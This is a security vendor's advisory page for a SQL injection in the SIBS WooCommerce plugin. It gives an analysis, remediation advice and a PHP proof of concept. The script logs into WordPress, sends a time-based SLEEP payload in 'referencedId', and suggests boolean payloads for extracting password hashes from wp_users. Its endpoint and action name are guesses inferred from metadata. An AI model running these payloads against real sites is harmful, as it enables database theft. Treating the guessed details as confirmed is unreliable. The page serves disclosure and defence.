Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1370: SIBS – WooCommerce <= 2.2.0 – Authenticated (Admin+) SQL Injection via 'referencedId' Parameter (sibs-woocommerce)

CVE ID CVE-2026-1370
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 2.2.0
Patched Version
Disclosed February 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1370 (metadata-based):
This vulnerability is an authenticated SQL injection in the SIBS WooCommerce payment gateway plugin for WordPress. The flaw exists in the ‘referencedId’ parameter handling within plugin versions up to and including 2.2.0. Attackers with Administrator-level access can execute time-based blind SQL injection attacks to extract sensitive data from the database. The CVSS score of 4.9 reflects the high confidentiality impact tempered by the requirement for administrative privileges.

Atomic Edge research identifies the root cause as improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description confirms insufficient escaping and lack of prepared statements for user-supplied input in the ‘referencedId’ parameter. Without source code, we infer the plugin likely constructs SQL queries by directly concatenating this parameter into a database query string. This inference is consistent with the CWE classification and the described time-based SQL injection attack vector.

Exploitation requires an authenticated WordPress administrator to send a crafted HTTP request containing a malicious SQL payload in the ‘referencedId’ parameter. The exact endpoint is unspecified, but WordPress plugin patterns suggest an AJAX handler (admin-ajax.php) or a custom admin page. A payload like ‘ OR SLEEP(5)–‘ would trigger a measurable delay if the parameter is vulnerable. Attackers would use incremental boolean-based or time-based payloads to extract database information character by character.

Remediation requires implementing proper input validation and parameterized queries. The plugin should use WordPress’s $wpdb->prepare() method or equivalent prepared statements when constructing SQL queries with user input. The ‘referencedId’ parameter should be validated as an integer using functions like intval() or absint() before database interaction. Output escaping functions like esc_sql() are insufficient for preventing SQL injection and should not replace prepared statements.

Successful exploitation allows complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), WooCommerce customer data, payment information, and plugin-specific configuration. While the administrative privilege requirement limits the attack surface, compromised admin accounts could use this vulnerability to exfiltrate the entire database contents. The vulnerability does not directly enable privilege escalation or remote code execution based on the available metadata.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1370 - SIBS - WooCommerce <= 2.2.0 - Authenticated (Admin+) SQL Injection via 'referencedId' Parameter
<?php
/**
 * Proof of Concept for CVE-2026-1370
 * ASSUMPTIONS:
 * 1. The vulnerable endpoint is an AJAX handler at /wp-admin/admin-ajax.php
 * 2. The AJAX action name contains 'sibs' based on the plugin slug
 * 3. The 'referencedId' parameter is passed via POST
 * 4. Administrator credentials are known
 */

$target_url = 'https://target-site.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';

// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');

// First, authenticate to WordPress
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);

// Check authentication success by looking for dashboard redirect
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}

// Time-based SQL injection payload
// This payload causes a 5-second delay if the parameter is vulnerable
$payload = "1' OR SLEEP(5)--";

// Construct exploit request
// Assumed AJAX action based on plugin slug patterns
$exploit_data = array(
    'action' => 'sibs_process_reference',  // Inferred action name
    'referencedId' => $payload,
    'nonce' => 'dummy_nonce'  // Nonce may be required but could be bypassed
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);

// Measure response time
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$response_time = $end_time - $start_time;

curl_close($ch);

// Analyze results
if ($response_time >= 5) {
    echo "[+] VULNERABLE: Response delayed by " . round($response_time, 2) . " secondsn";
    echo "[+] Confirmed time-based SQL injection via referencedId parametern";
    
    // Example of data extraction payload
    echo "[+] Next step: Use boolean-based payloads like:n";
    echo "    ' OR (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='a'--n";
    echo "    to extract sensitive data character by character.n";
} else {
    echo "[-] NOT VULNERABLE: Response time " . round($response_time, 2) . " secondsn";
    echo "[-] The endpoint or action name may differ from assumptions.n";
    echo "[-] Try enumerating AJAX actions: grep -r 'wp_ajax_' in plugin files.n";
}

// Display raw response for debugging
echo "nResponse preview:n" . substr($response, 0, 500) . "...n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School